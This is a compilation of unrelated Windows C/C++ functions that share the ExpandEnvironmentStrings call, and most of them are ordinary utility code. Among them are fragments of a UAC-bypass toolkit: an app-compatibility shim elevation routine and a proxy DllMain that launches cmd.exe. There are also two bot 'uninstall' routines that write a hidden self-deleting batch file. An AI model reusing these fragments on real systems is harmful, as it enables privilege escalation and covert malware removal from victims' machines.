// Local function for getting values from the Windows registry // Note that it uses malloc() and returns the pointer to allocated // memory, so remember to use free() when you are done with its // result. static LPTSTR getWindowsPropFromReg(LPTSTR subKey, LPTSTR valueName, DWORD *valueType) { HKEY handle; if (RegOpenKeyEx(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &handle) != 0) { return NULL; } // valueSize is in bytes, while valueChar is in characters. DWORD valueSize, valueChar; if (RegQueryValueEx((HKEY)handle, valueName, NULL, valueType, NULL, &valueSize) != 0) { RegCloseKey(handle); return NULL; } LPTSTR buffer = (LPTSTR)safe_Malloc(valueSize); if (RegQueryValueEx((HKEY)handle, valueName, NULL, valueType, (unsigned char *)buffer, &valueSize) != 0) { free(buffer); RegCloseKey(handle); return NULL; } RegCloseKey(handle); if (*valueType == REG_EXPAND_SZ) { // Pending: buffer must be null-terminated at this point valueChar = ExpandEnvironmentStrings(buffer, NULL, 0); LPTSTR buffer2 = (LPTSTR)safe_Malloc(valueChar*sizeof(TCHAR)); ExpandEnvironmentStrings(buffer, buffer2, valueChar); free(buffer); return buffer2; } else if (*valueType == REG_SZ) { return buffer; } else if (*valueType == REG_DWORD) { return buffer; } else { free(buffer); return NULL; } }
BOOL ShellFunctions::RunRegistryCommand(HKEY hKey,LPCSTR szFile) { PROCESS_INFORMATION pi; STARTUPINFO si; CRegKey CommandKey; CString ExecuteStr; CString CommandLine; int i; if (CommandKey.OpenKey(hKey,"command",CRegKey::openExist|CRegKey::samAll)!=ERROR_SUCCESS) return FALSE; if (CommandKey.QueryValue(szEmpty,ExecuteStr)<2) return FALSE; i=ExecuteStr.FindFirst('%'); while (i!=-1) { if (ExecuteStr[i+1]=='1') { CommandLine.Copy(ExecuteStr,i); CommandLine<<szFile; CommandLine<<((LPCSTR)ExecuteStr+i+2); break; } i=ExecuteStr.FindNext('%',i); } if (i==-1) CommandLine=ExecuteStr; if (!ExpandEnvironmentStrings(CommandLine,ExecuteStr.GetBuffer(1000),1000)) ExecuteStr.Swap(CommandLine); si.cb=sizeof(STARTUPINFO); si.lpReserved=NULL; si.cbReserved2=0; si.lpReserved2=NULL; si.lpDesktop=NULL; si.lpTitle=NULL; si.dwFlags=STARTF_USESHOWWINDOW; si.wShowWindow=SW_SHOWDEFAULT; if (!CreateProcess(NULL,ExecuteStr.GetBuffer(),NULL, NULL,FALSE,CREATE_DEFAULT_ERROR_MODE|NORMAL_PRIORITY_CLASS, NULL,NULL,&si,&pi)) { CommandKey.CloseKey(); return FALSE; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CommandKey.CloseKey(); return TRUE; }
/* * ucmAppcompatElevation * * Purpose: * * AutoElevation using Application Compatibility engine. * */ BOOL ucmAppcompatElevation( UACBYPASSMETHOD Method, CONST PVOID ProxyDll, DWORD ProxyDllSize, LPWSTR lpszPayloadEXE ) { BOOL cond = FALSE, bResult = FALSE; WCHAR szBuffer[MAX_PATH * 2]; do { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\apphelp.dll"), szBuffer, MAX_PATH) == 0) { break; } hAppHelp = LoadLibrary(szBuffer); if (hAppHelp == NULL) { break; } if (ucmInitAppHelp() == FALSE) { break; } //create and register shim with RedirectEXE, cmd.exe as payload if (Method == UacMethodRedirectExe) { if (lpszPayloadEXE == NULL) { _strcpy_w(szBuffer, L"%systemroot%\\system32\\cmd.exe"); bResult = ucmShimRedirectEXE(szBuffer); } else { bResult = ucmShimRedirectEXE(lpszPayloadEXE); } return bResult; } //create and register shim patch with fubuki as payload if (Method == UacMethodShimPatch) { bResult = ucmShimPatch(ProxyDll, ProxyDllSize); } } while (cond); return bResult; }
int get_string(HKEY key, TCHAR *value, TCHAR *data, unsigned long datalen, bool expand, bool sanitise, bool must_exist) { TCHAR *buffer = (TCHAR *) HeapAlloc(GetProcessHeap(), 0, datalen); if (! buffer) { log_event(EVENTLOG_ERROR_TYPE, NSSM_EVENT_OUT_OF_MEMORY, value, _T("get_string()"), 0); return 1; } ZeroMemory(data, datalen); unsigned long type = REG_EXPAND_SZ; unsigned long buflen = datalen; unsigned long ret = RegQueryValueEx(key, value, 0, &type, (unsigned char *) buffer, &buflen); if (ret != ERROR_SUCCESS) { HeapFree(GetProcessHeap(), 0, buffer); if (ret == ERROR_FILE_NOT_FOUND) { if (! must_exist) return 0; } log_event(EVENTLOG_ERROR_TYPE, NSSM_EVENT_QUERYVALUE_FAILED, value, error_string(ret), 0); return 2; } /* Paths aren't allowed to contain quotes. */ if (sanitise) PathUnquoteSpaces(buffer); /* Do we want to expand the string? */ if (! expand) { if (type == REG_EXPAND_SZ) type = REG_SZ; } /* Technically we shouldn't expand environment strings from REG_SZ values */ if (type != REG_EXPAND_SZ) { memmove(data, buffer, buflen); HeapFree(GetProcessHeap(), 0, buffer); return 0; } ret = ExpandEnvironmentStrings((TCHAR *) buffer, data, datalen); if (! ret || ret > datalen) { log_event(EVENTLOG_ERROR_TYPE, NSSM_EVENT_EXPANDENVIRONMENTSTRINGS_FAILED, buffer, error_string(GetLastError()), 0); HeapFree(GetProcessHeap(), 0, buffer); return 3; } HeapFree(GetProcessHeap(), 0, buffer); return 0; }
/* * DllMain * * Purpose: * * Proxy dll entry point, process parameter if exist or start cmd.exe and exit immediatelly. * */ BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ) { DWORD cch; TCHAR cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1]; STARTUPINFO startupInfo; PROCESS_INFORMATION processInfo; UNREFERENCED_PARAMETER(hinstDLL); UNREFERENCED_PARAMETER(lpvReserved); if (fdwReason == DLL_PROCESS_ATTACH) { OutputDebugString(TEXT("Hello, Admiral")); if (!ucmQueryCustomParameter()) { RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); GetStartupInfoW(&startupInfo); RtlSecureZeroMemory(sysdir, sizeof(sysdir)); cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH); if ((cch != 0) && (cch < MAX_PATH)) { RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf)); _strcpy(cmdbuf, sysdir); _strcat(cmdbuf, TEXT("cmd.exe")); if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, sysdir, &startupInfo, &processInfo)) { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); if (g_AkagiFlag == AKAGI_FLAG_KILO) { ucmShowProcessIntegrityLevel(); } } } } ExitProcess(0); } return TRUE; }
VOID RegisterSmartCard(PMD_REGISTRATION registration) { DWORD expanded_len = PATH_MAX; TCHAR expanded_val[PATH_MAX]; PTSTR szPath = TEXT("C:\\Program Files\\OpenSC Project\\OpenSC\\minidriver\\opensc-minidriver.dll"); /* cope with x86 installation on x64 */ expanded_len = ExpandEnvironmentStrings( TEXT("%ProgramFiles%\\OpenSC Project\\OpenSC\\minidriver\\opensc-minidriver.dll"), expanded_val, expanded_len); if (0 < expanded_len && expanded_len < sizeof expanded_val) szPath = expanded_val; RegisterCardWithKey(SC_DATABASE, registration->szName, szPath, registration->pbAtr, registration->dwAtrSize, registration->pbAtrMask ); }
void CEsnecil::Init() { char cbBuffer[16], cbFormat[32], cbO[32], cbL[32]; // Format vorbereiten cbFormat[0] = '\0'; for (int i = 0; i < 11; ++i) strcat (cbFormat, "%c"); // Options einlesen wsprintf (cbBuffer, cbFormat, '%', 'C', 'K', 'O', 'P', 'T', 'I', 'O', 'N', 'S', '%'); ExpandEnvironmentStrings (cbBuffer, cbO, sizeof(cbO)); m_ulOptions = strtoul (cbO, NULL, 10) & CKIOPTION_MASK; D_OUTF3(3, "TRiAS: Lizenz: %s: ", cbBuffer, "%s, ", cbO, "%lx", m_ulOptions); if (m_ulOptions & ~CKIOPTION_ALL) return; // unbekannte Option // Level einlesen wsprintf (cbBuffer, cbFormat, '%', 'C', 'K', 'L', 'E', 'V', 'E', 'L', '%', '\0', '\0'); ExpandEnvironmentStrings (cbBuffer, cbL, sizeof(cbL)); m_lLevel = strtoul (cbL, NULL, 10) & CKILEVEL_MASK; D_OUTF3(3, "TRiAS: Lizenz: %s: ", cbBuffer, "%s, ", cbL, "%lx", m_lLevel); if (m_lLevel < MIN_CKILEVEL || m_lLevel > MAX_CKILEVEL) // Gültigkeit testen return; // unbekanntes Level if (CKILEVEL_ANALYSE_OBSOLETE == m_lLevel || CKILEVEL_PLUS_OBSOLETE == m_lLevel) { return; // obsolete Levels } // jetzt ist alles gültig m_fIsValid = true; }
static void PerformCommonGitPathCleanup(CString &path) { path.Trim(L"\"'"); if (path.Find(L"%") >= 0) { int neededSize = ExpandEnvironmentStrings(path, nullptr, 0); CString origPath(path); ExpandEnvironmentStrings(origPath, path.GetBufferSetLength(neededSize), neededSize); path.ReleaseBuffer(); } path.Replace(L"/", L"\\"); path.Replace(L"\\\\", L"\\"); if (path.GetLength() > 7 && path.Right(7) == _T("git.exe")) path = path.Left(path.GetLength() - 7); path.TrimRight(L"\\"); // prefer git.exe in bin-directory, see https://github.com/msysgit/msysgit/issues/103 if (path.GetLength() > 5 && path.Right(4) == _T("\\cmd") && PathFileExists(path.Left(path.GetLength() - 4) + _T("\\bin\\git.exe"))) path = path.Left(path.GetLength() - 4) + _T("\\bin"); }
wchar_t* ExpandEnvStr(LPCWSTR pszCommand) { if (!pszCommand || !*pszCommand) return NULL; DWORD cchMax = ExpandEnvironmentStrings(pszCommand, NULL, 0); if (!cchMax) return lstrdup(pszCommand); wchar_t* pszExpand = (wchar_t*)malloc((cchMax+2)*sizeof(*pszExpand)); if (pszExpand) { pszExpand[0] = 0; pszExpand[cchMax] = 0xFFFF; pszExpand[cchMax+1] = 0xFFFF; DWORD nExp = ExpandEnvironmentStrings(pszCommand, pszExpand, cchMax); if (nExp && (nExp <= cchMax) && *pszExpand) return pszExpand; SafeFree(pszExpand); } return NULL; }
HRESULT GetPropertyStore(PCWSTR pszFilename, GETPROPERTYSTOREFLAGS gpsFlags, IPropertyStore** ppps) { WCHAR szExpanded[MAX_PATH]; HRESULT hr = ExpandEnvironmentStrings(pszFilename, szExpanded, ARRAYSIZE(szExpanded)) ? S_OK : HRESULT_FROM_WIN32(GetLastError()); if (SUCCEEDED(hr)) { WCHAR szAbsPath[MAX_PATH]; hr = _wfullpath(szAbsPath, szExpanded, ARRAYSIZE(szAbsPath)) ? S_OK : E_FAIL; if (SUCCEEDED(hr)) { hr = SHGetPropertyStoreFromParsingName(szAbsPath, NULL, gpsFlags, IID_PPV_ARGS(ppps)); } } return hr; }
VOID ReadIni() { if (bReadIni == true) return; bReadIni = true; Log("Reading Ini"); TCHAR iniFile[MAX_PATH] = { 0 }; ExpandEnvironmentStrings(INIFILE, iniFile, _countof(iniFile)); bSwitchDesktopAfterMove = (GetPrivateProfileInt("MoveToDesktop", "SwitchDesktopAfterMove", 0, iniFile) != 0); Log("Ini: SwitchDesktopAfterMove = %d", (bSwitchDesktopAfterMove ? 1 : 0)); bCreateNewDesktopOnMove = (GetPrivateProfileInt("MoveToDesktop", "CreateNewDesktopOnMove", 1, iniFile) != 0); Log("Ini: CreateNewDesktopOnMove = %d", (bCreateNewDesktopOnMove ? 1 : 0)); bDeleteEmptyDesktops = (GetPrivateProfileInt("MoveToDesktop", "DeleteEmptyDesktops", 0, iniFile) != 0); Log("Ini: DeleteEmptyDesktops = %d", (bDeleteEmptyDesktops ? 1 : 0)); }
void CUncontrolledFiles::PushEnvironmentString(PTCHAR ptchString) { CString strtmp; CString strExpanded; { AutoPTCHAR auptchExpanded(&strtmp, 4096); if (auptchExpanded.IsValid()) { ExpandEnvironmentStrings(ptchString, auptchExpanded, auptchExpanded.GetBufferLength()); strExpanded = auptchExpanded.GetPTCH(); strExpanded.MakeUpper(); m_UncotrolledFileList.push_back(strExpanded); } } }
FILE *_mosquitto_fopen(const char *path, const char *mode) { #ifdef WIN32 char buf[MAX_PATH]; int rc; rc = ExpandEnvironmentStrings(path, buf, MAX_PATH); if(rc == 0 || rc == MAX_PATH){ return NULL; }else{ return fopen(buf, mode); } #else return fopen(path, mode); #endif }
DWORD GetEventMessageFileName(LPCSTR szSourceName, LPSTR szMessageFileName) { HKEY hKey; DWORD dwType, dwBytes; LPSTR lpszBuffer; LPSTR lpszBufferQry; LPCSTR szRegPath = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security\\"; LPCSTR szValue = "EventMessageFile"; // allocate buffers if (!(lpszBuffer = malloc(_MAX_PATH + _MAX_FNAME))) return (0); if (!(lpszBufferQry = malloc(_MAX_PATH + _MAX_FNAME))) { free(lpszBuffer); return (0); } sprintf(lpszBuffer, "%s%s", szRegPath, szSourceName); // open registry if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpszBuffer, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS) { free(lpszBuffer); free(lpszBufferQry); ShowError(); return (0); } else { // query value if ((RegQueryValueEx(hKey, szValue, 0, &dwType, lpszBufferQry, &dwBytes)) != ERROR_SUCCESS) { free(lpszBuffer); free(lpszBufferQry); ShowError(); RegCloseKey(hKey); return(0); } } //expand environment strings ExpandEnvironmentStrings(lpszBufferQry, szMessageFileName, _MAX_PATH + _MAX_FNAME); RegCloseKey(hKey); // free allocated buffers free(lpszBuffer); free(lpszBufferQry); return (dwBytes); }
void pathToAbsolute(const CMString& pSrc, CMString& pOut) { TCHAR szOutPath[MAX_PATH]; TCHAR *szVarPath = Utils_ReplaceVarsT(pSrc.c_str()); if (szVarPath == (TCHAR*)CALLSERVICE_NOTFOUND || szVarPath == NULL) { TCHAR szExpPath[MAX_PATH]; ExpandEnvironmentStrings(pSrc.c_str(), szExpPath, SIZEOF(szExpPath)); PathToAbsoluteT(szExpPath, szOutPath); } else { PathToAbsoluteT(szVarPath, szOutPath); mir_free(szVarPath); } pOut = szOutPath; }
BOOL ParseSubMenuPathList() { WCHAR * tmpSubString = _wcsdup(szSubMenuPath); ExpandEnvironmentStrings(tmpSubString, szSubMenuPath, sizeof(szSubMenuPath)/sizeof(szSubMenuPath[0])); free(tmpSubString); WCHAR *sep = L"\n"; WCHAR *pos = wcstok(szSubMenuPath, sep); INT i = 0; lpSubMenuPathList[i++] = szPath; while (pos && i < sizeof(lpSubMenuPathList)/sizeof(lpSubMenuPathList[0])) { lpSubMenuPathList[i++] = pos; pos = wcstok(NULL, sep); } lpSubMenuPathList[i] = 0; return TRUE; }
/** Expand variables (e.g. POSIX ~ or $FOO, Windows %FOO%) in `path`. */ char* lilv_expand(const char* path) { #ifdef _WIN32 char* out = (char*)malloc(MAX_PATH); ExpandEnvironmentStrings(path, out, MAX_PATH); #else char* out = NULL; size_t len = 0; const char* start = path; // Start of current chunk to copy for (const char* s = path; *s;) { if (*s == '$') { // Hit $ (variable reference, e.g. $VAR_NAME) for (const char* t = s + 1; ; ++t) { if (!*t || (!isupper(*t) && !isdigit(*t) && *t != '_')) { // Append preceding chunk out = strappend(out, &len, start, s - start); // Append variable value (or $VAR_NAME if not found) char* var = (char*)calloc(t - s, 1); memcpy(var, s + 1, t - s - 1); out = append_var(out, &len, var); free(var); // Continue after variable reference start = s = t; break; } } } else if (*s == '~' && (*(s + 1) == '/' || !*(s + 1))) { // Hit ~ before slash or end of string (home directory reference) out = strappend(out, &len, start, s - start); out = append_var(out, &len, "HOME"); start = ++s; } else { ++s; } } if (*start) { out = strappend(out, &len, start, strlen(start)); } #endif return out; }
// function for removing the bot's registry entries and executable void uninstall(void) { char cmdline[256], tcmdline[256], cfilename[MAX_PATH], batfile[MAX_PATH], tempdir[MAX_PATH]; // remove our registry entries if ((AutoStart) && !(noadvapi32)) AutoStartRegs(); GetTempPath(sizeof(tempdir), tempdir); sprintf(batfile, "%s\\r.bat", tempdir); HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); if (f > (HANDLE)0) { DWORD r; // FIX ME: this won't work on NT correctly. The command line code is in place // for melt, this is something we need to finish for uninstall. // write a batch file to remove our executable once we close WriteFile(f, "@echo off\r\n" ":start\r\nif not exist \"\"%1\"\" goto done\r\n" "del /F \"\"%1\"\"\r\n" "del \"\"%1\"\"\r\n" "goto start\r\n" ":done\r\n" "del /F %temp%\r.bat\r\n" "del %temp%\r.bat\r\n", 105, &r, NULL); CloseHandle(f); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&pinfo, 0, sizeof(pinfo)); memset(&sinfo, 0, sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));// get our file name sprintf(tcmdline, "%%comspec%% /c %s %s", batfile, cfilename); // build command line ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // put the name of the command interpreter into the command line // execute the batch file CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo); } return; }
int terminateIe() { std::vector<HWND> allWindows; getTopLevelWindows(&allWindows); // Wait until all open windows are gone. Common case, no worries while (allWindows.size() > 0) { allWindows.clear(); getTopLevelWindows(&allWindows); for (vector<HWND>::iterator curr = allWindows.begin(); curr != allWindows.end(); curr++) { SendMessage(*curr, WM_CLOSE, NULL, NULL); } // Pause to allow IE to process the message. If we don't do this and // we're using IE 8, and "Restore previous session" is enabled (an // increasingly common state) then a modal system dialog will be // displayed to the user. Not what we want. wait(500); } // If it's longer than this, we're on a very strange system wchar_t taskkillPath[256]; if (!ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\taskkill.exe", taskkillPath, 256)) { cerr << "Unable to find taskkill application" << endl; return EUNHANDLEDERROR; } std::wstring args = L" /f /im iexplore.exe"; STARTUPINFO startup_info; memset(&startup_info, 0, sizeof(startup_info)); startup_info.cb = sizeof(startup_info); PROCESS_INFORMATION process_info; if (!CreateProcessW(taskkillPath, &args[0], NULL, NULL, false, DETACHED_PROCESS, NULL, NULL, &startup_info, &process_info)) { cerr << "Could not execute taskkill. Bailing: " << GetLastError() << endl; return EUNHANDLEDERROR; } WaitForSingleObject(process_info.hProcess, INFINITE); CloseHandle(process_info.hThread); CloseHandle(process_info.hProcess); return SUCCESS; }
void CSnapperOptions::OnBnClickedAdvanced() { // Open the OneSnap file that came w/ the plugin... // should be at <program files>\OneSnap\OneSnap.one CString strPath; // get the Program Files directory... if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, 0, strPath.GetBuffer(MAX_PATH)))) if (0 == ExpandEnvironmentStrings(L"%ProgramFiles%\\", strPath.GetBuffer(MAX_PATH), MAX_PATH)) strPath = L"C:\\Program Files\\"; // add the filename... strPath += "\\OneSnap\\OneSnap.one"; ShellExecute(NULL, L"open", L"C:\\Program Files\\OneSnap\\OneSnap.one", NULL, NULL, SW_SHOWNORMAL); }
static inline bool GetRegistryInstallPath (const HKEY parentKey, char *oInstallPath, DWORD iBufferSize) { char * pValueName = "InstallPath"; DWORD dwType; DWORD bufSize = iBufferSize; HKEY m_pKey; LONG result; result = RegOpenKeyEx (parentKey, "Software\\CrystalSpace\\" VERSION_STR_DOTTED, 0, KEY_READ, &m_pKey); if (result != ERROR_SUCCESS) { result = RegOpenKeyEx (parentKey, "Software\\CrystalSpace", 0, KEY_READ, &m_pKey); } if (result == ERROR_SUCCESS) { result = RegQueryValueEx( m_pKey, pValueName, 0, &dwType, (unsigned char *)oInstallPath, &bufSize); RegCloseKey (m_pKey); if ((ERROR_SUCCESS == result) && ((dwType == REG_SZ) || (dwType == REG_EXPAND_SZ))) { if (dwType == REG_EXPAND_SZ) { char expandedPath[MAX_PATH]; ExpandEnvironmentStrings (oInstallPath, expandedPath, sizeof(expandedPath)); strcpy (oInstallPath, expandedPath); } return true; } } return false; }
void CFilePro::GetAllNewItemsIconFile(vector<NewType *> &vAllItems,CString strDestDir) { string strIconFile; int iIndex = 0; bool bIsIconFile = false; for (size_t i = 0; i< vAllItems.size();i++) { bool bok1 = GetExeDefaultIconPath(vAllItems[i]->m_strExt.c_str(),strIconFile,iIndex,bIsIconFile); CString strDirOutIcoFile = strDestDir + "\\"; CString strEx = vAllItems[i]->m_strExt.c_str() +1; CString strNameNoExt = strDirOutIcoFile + strEx + "\\" + strEx; strDirOutIcoFile = strNameNoExt + ".ico"; MakeSureDirectoryPathExists(strDirOutIcoFile); if (!bIsIconFile && !strIconFile.empty()) // exe or dll { // 保存ICON文件 CExtract Extract(strIconFile.c_str()); BOOL BOK = Extract.ExtractIcon(iIndex,strDirOutIcoFile); if (Extract.m_bUseDefaultIcon) { char szPath[1024] ={0}; ExpandEnvironmentStrings("%SystemRoot%\\system32\\shell32.dll",szPath,1024); bool bOK2 = ExtractIndifySizeIcon(szPath,strNameNoExt,32,16,0); bool bOK3 = ExtractIndifySizeIcon(szPath,strNameNoExt,64,32,0); continue; } } else { if (bIsIconFile && !strIconFile.empty()) { ::CopyFile(strIconFile.c_str(),strDirOutIcoFile,FALSE); } else { GetTypeIconToFile(vAllItems[i]->m_strExt.c_str(),strDestDir,true); strIconFile = strDirOutIcoFile; } } //保存PNG文件 bool bOK2 = ExtractIndifySizeIcon(strIconFile.c_str(),strNameNoExt,64,32,iIndex); bool bOK3 = ExtractIndifySizeIcon(strIconFile.c_str(),strNameNoExt,128,88,iIndex); } }
HWND CIETabProcControl::CreateControlWindow(HWND hwndParent, RECT &rcPos) { CAxWindow axWin; HWND hwndCtrl; HWND hwndIE; hwndCtrl = Create(hwndParent, rcPos, NULL, WS_CHILD|WS_VISIBLE); hwndIE = axWin.Create(hwndCtrl, rcPos, L"{8856F961-340A-11D0-A96B-00C04FD705A2}", WS_CHILD|WS_VISIBLE); ::SetWindowPos(hwndIE, hwndCtrl, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOZORDER); g_hwndApp = hwndCtrl; axWin.QueryControl(IID_IWebBrowser2, (void**)&m_spInnerWebBrowser); if (m_spInnerWebBrowser) { WCHAR wszUrl[2048] = {0}; m_spInnerWebBrowser->QueryInterface(IID_IOleInPlaceActiveObject, (void**)&g_pIOleInPlaceActiveObject); CComPtr<IConnectionPointContainer> spConnectionPointContainer; m_spInnerWebBrowser->QueryInterface(IID_IConnectionPointContainer,(void**)&spConnectionPointContainer); if (spConnectionPointContainer) { spConnectionPointContainer->FindConnectionPoint(DIID_DWebBrowserEvents2,&m_spCP); if (m_spCP) { m_spCP->Advise((IDispatch*)this,&m_dwCookie); } } if (ExpandEnvironmentStrings(L"%programfiles%\\multiloginhelper\\help.htm", wszUrl, 2048)) { m_spInnerWebBrowser->Navigate(wszUrl, NULL, NULL, NULL, NULL); } else { m_spInnerWebBrowser->Navigate(L"www.live.com", NULL, NULL, NULL, NULL); } } return hwndCtrl; }
DWORD WINAPI win32_thread_proc(PVOID context) { /* Create empty config file if none exists. */ { CHAR buffer[MAX_PATH]={0}; ExpandEnvironmentStrings("%ProgrmFiles%\\Cloudkick\\etc\\cloudkick.cfg", buffer, ARRAYSIZE(buffer)); { HANDLE hfile=CreateFile(buffer, GENERIC_READ, FILE_SHARE_READ, 0, CREATE_NEW, 0, 0); if (hfile!= INVALID_HANDLE_VALUE) CloseHandle(hfile); } } g_equus_win_service = 1; return main_core(g_argc, g_argv); }
/**************************************************************************** * * * Function: PlayNavigatingSound * * * * Purpose : Play system navigating sound. * * * * History : Date Reason * * 00/00/00 Created * * * ****************************************************************************/ static void PlayNavigatingSound(void) { HKEY hKey = NULL; ULONG ulBufferSize = MAX_PATH + sizeof(TCHAR); LPTSTR lpszBuffer = GlobalAllocPtr(GPTR, ulBufferSize); LPTSTR lpszSoundPath = GlobalAllocPtr(GPTR, ulBufferSize); if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("AppEvents\\Schemes\\Apps\\Explorer\\Navigating\\.Current"), 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { if (RegQueryValueEx(hKey, NULL, 0, NULL, (LPBYTE) lpszBuffer, &ulBufferSize) == ERROR_SUCCESS) { ExpandEnvironmentStrings(lpszBuffer, lpszSoundPath, ulBufferSize); PlaySound(lpszSoundPath, NULL, SND_ASYNC | SND_NODEFAULT | SND_NOWAIT); } if(hKey) RegCloseKey(hKey); } if(lpszBuffer) GlobalFreePtr(lpszBuffer); if(lpszSoundPath) GlobalFreePtr(lpszSoundPath); }
/** * start the server for the assembly factory object */ int main (int argc, char** argv) { std::cout << "Qedo Assembly Factory " << QEDO_VERSION << std::endl; // get the qedo dir #ifdef _WIN32 TCHAR tchBuffer[256]; LPTSTR lpszSystemInfo = tchBuffer; DWORD dwResult = ExpandEnvironmentStrings("%QEDO%", lpszSystemInfo, 256); Qedo::g_qedo_dir.append(lpszSystemInfo); #else char *e = getenv("QEDO"); if(e) Qedo::g_qedo_dir.append(e); #endif CORBA::ORB_var orb = CORBA::ORB_init (argc, argv); // // register valuetype factories // CORBA::ValueFactoryBase* factory; factory = new Qedo::CookieFactory_impl(); orb->register_value_factory("IDL:omg.org/Components/Cookie:1.0", factory); factory = new Qedo::ConfigValueFactory_impl(); orb->register_value_factory("IDL:omg.org/Components/ConfigValue:1.0", factory); Qedo::AssemblyFactoryImpl* assembly_factory = new Qedo::AssemblyFactoryImpl(orb); try { assembly_factory->initialize(); } catch (Qedo::AssemblyFactoryImpl::CannotInitialize&) { std::cerr << "Cannot initialize Assembly Factory... exiting." << std::endl; orb->destroy(); exit (1); } std::cout << "Qedo Assembly Factory Server is up and running ...\n"; orb->run(); return 0; }
static BOOL get_program_files_dir(LPSTR buf) { HKEY hkey; CHAR temp[MAX_PATH]; DWORD type = REG_EXPAND_SZ, size; if (RegOpenKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion", &hkey)) return FALSE; size = MAX_PATH; if (RegQueryValueEx(hkey, "ProgramFilesPath", 0, &type, (LPBYTE)temp, &size)) return FALSE; ExpandEnvironmentStrings(temp, buf, MAX_PATH); RegCloseKey(hkey); return TRUE; }
void uninstall(void) { char buffer[1024], cmdline[MAX_PATH], botfile[MAX_PATH], batfile[MAX_PATH]; if ((AutoStart) && !(noadvapi32)) AutoStartRegs(); killthreadall(); GetTempPath(sizeof(buffer), buffer); sprintf(batfile, "%sdel.bat", buffer); HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); if (f > (HANDLE)0) { DWORD r; sprintf(buffer,"@echo off\r\n" ":repeat\r\n" "del \"%%1\"\r\n" "if exist \"%%1\" goto repeat\r\n" "del \"%s\"", batfile); WriteFile(f, buffer, strlen(buffer), &r, NULL); CloseHandle(f); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&pinfo, 0, sizeof(pinfo)); memset(&sinfo, 0, sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; GetModuleFileName(GetModuleHandle(NULL), botfile, sizeof(botfile)); if (GetFileAttributes(botfile) != INVALID_FILE_ATTRIBUTES) SetFileAttributes(botfile,FILE_ATTRIBUTE_NORMAL); sprintf(buffer, "%%comspec%% /c %s %s", batfile, botfile); ExpandEnvironmentStrings(buffer, cmdline, sizeof(cmdline)); CreateProcess(NULL, cmdline, NULL, NULL, TRUE, BELOW_NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo); } return; }
//************************************************************************************ BOOL CFavoritesManager::Load () { HKEY hKey; // find out from the registry where the favorites are located. if(RegOpenKey (HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders"), &hKey) != ERROR_SUCCESS) { TRACE0("Favorites folder not found\n"); return FALSE; } TCHAR sz [MAX_PATH]; DWORD dwSize = sizeof(sz); RegQueryValueEx(hKey, _T("Favorites"), NULL, NULL, (LPBYTE)sz, &dwSize); TCHAR szPath [MAX_PATH]; ExpandEnvironmentStrings(sz, szPath, MAX_PATH); RegCloseKey(hKey); SHFILEINFO sfi; m_himSystem = (HIMAGELIST)SHGetFileInfo( szPath, 0, &sfi, sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON); if (m_himSystem != NULL) { int cx, cy; ::ImageList_GetIconSize (m_himSystem, &cx, &cy); m_SysImageSize = CSize (cx, cy); CFavorit::m_iFolderIcon = sfi.iIcon; } m_Root.Build (szPath); return TRUE; }
